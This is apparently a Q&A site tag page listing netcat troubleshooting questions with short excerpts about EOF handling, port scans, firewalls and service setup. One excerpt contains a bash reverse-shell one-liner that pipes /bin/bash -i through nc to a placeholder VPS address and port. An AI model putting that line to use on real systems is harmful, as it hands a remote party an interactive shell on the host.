Questions tagged [nc]

17 questions
8
votes
2 answers

BSD nc (netcat) does not terminate on EOF

Host A: tar cf - stuff | dd | nc -N -l 12987 Host B: nc a.example.com 12987 | dd | tar tf - On host A dd prints its summary after tar completes. Thus it is clear, that tar closes the pipe/file -> EOF. 165040+0 records in 165040+0 records out…
georg
  • 283
  • 2
  • 7
3
votes
3 answers

Why do netcat scans for UDP ports always succeed?

I'm trying to verify that a couple of our servers can communicate via certain ports before migrating some of our services to them, and that they're not blocked by our organizations firewall ACLs. Makes Sense [mrduki@mybox1~]$ nc -ul…
MrDuk
  • 815
  • 1
  • 10
  • 18
2
votes
2 answers

Simple client / server with nc not working

Why is the following not working? I have a freshly installed Debian 9 system. iptables is wide-open: [···]# iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target …
Cal-linux
  • 175
  • 1
  • 8
1
vote
2 answers

netcat host not found when listening

i am trying to connect two hosts using netcat. i have downloaded netcat for windows, but when i run the command nc -L -vv -p 4444, it fails with the error nc: forward host lookup failed: h_errno 11001: HOST_NOT_FOUND! I have tried specifying ip…
inXperienced
  • 11
  • 1
  • 2
0
votes
1 answer

Why does one of four-way handshake miss with the command nc

I'm using the command nc to simulate the TCP connection with a client and a server. I execute the command nc -l 1234 and tcpdump -i eth0 port 1234 at the server and I execute the command nc IP_OF_SERVER 1234 at the client. Then I type abcd and a…
Yves
  • 117
  • 1
  • 6
0
votes
1 answer

Simple netcat Responder

Trying to create a simple netcat responder: The "server" would be: $ while true; do { ./secret.sh; } | sudo netcat -k -q -1 -l 123; done secret.sh is: #!/bin/bash read line if [ "$line" == "open" ]; then echo "sesame" fi And the client…
Utkonos
  • 332
  • 3
  • 12
0
votes
2 answers

redirect tcpdump generated pcap file to another server while packets are being captured

I was looking for some command like this, it achieves: redirect the tcpdump generated pcap file to another server during the process of 1., using a python script or some tool to analyze each packet. So from the point of the system user, when…
Tiina
  • 165
  • 2
  • 9
0
votes
2 answers

Exit code for ldap testing using nc or ncat

I am trying to write shell script to test if a server is able to reach a specified ip and port. The commands i am using: ncat -w 5 636 or 389 > /dev/null 2>&1 < /dev/null | echo $? The issue is when i check for an exit code for the above two…
Jigar P
  • 1
  • 1
0
votes
2 answers

nc exits immediately, on connection, when run as an upstart job

I'm using the following /etc/init/jsonlog.conf upstart job: description "jsonlog" start on runlevel [23] stop on runlevel [06] respawn script cd /tmp echo "about to listen" /bin/nc -l 3333 echo "finished listening" end…
fadedbee
  • 1,988
  • 4
  • 22
  • 33
0
votes
0 answers

nc tool not showing any output on busybox for localhost

Any ideas why nc is not showing anything when ran on a busybox based container image? The problem appears when trying to connect to port on 127.0.0.1/localhost. /app # nc -v 127.0.0.1 12345 /app # nc -v localhost 12345 /app # nc BusyBox v1.35.0…
nosalan
  • 121
  • 1
  • 3
0
votes
1 answer

Traceroute works but nc fails - Where is my port being blocked?

I am trying to troubleshoot two Azure VNETs that have been peered together. Lets call these VNETs A and B. There are multiple services running on a VM in VNET A on different ports. I am trying to access them from a VM in VNET B. I observe the…
MojoJojo
  • 101
  • 1
0
votes
0 answers

OpenBSD netcat times out depending on network interface

There is a network I'm accessing using PPTP VPN. I'm trying to setup something to monitor if the network is accessible, and email me if not. I've got a Raspberry Pi, it's connected to the network itself via WLAN and to a mobile router via…
0
votes
2 answers

Piping nc to sed and evaluate datetime for each row

Could someone provide any idea, how could i pipe data from nc to sed (or awk, or anything) and evaluate and write to file a timestamp after each row? What i have: # cat /etc/systemd/system/ncserver.service [Unit] Description=netcat…
M.Ch.
  • 3
  • 1
0
votes
0 answers

Can't connect to nc on VPS Please review

I've set up a connection on my own personal machine, using this code: #!/bin/bash n=$(ps aux | grep -o [1]234) if [[ $n = "" ]]; then mkfifo f nc VPS_IP_ADDRESS_HERE 1234 < f | /bin/bash -i > f 2>&1 fi I want to connect to it from…
0
votes
1 answer

I ufw deny 53, but an nc scan reports a successful connection

Why is an nc scan able to successfully connect with port 53 when I've denied it through ufw? I noticed port 53 is listening: $ sudo ss -tulpne Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port udp UNCONN 0 0 0.0.0.0:5353 0.0.0.0:…
u20200411
  • 3
  • 2
1
2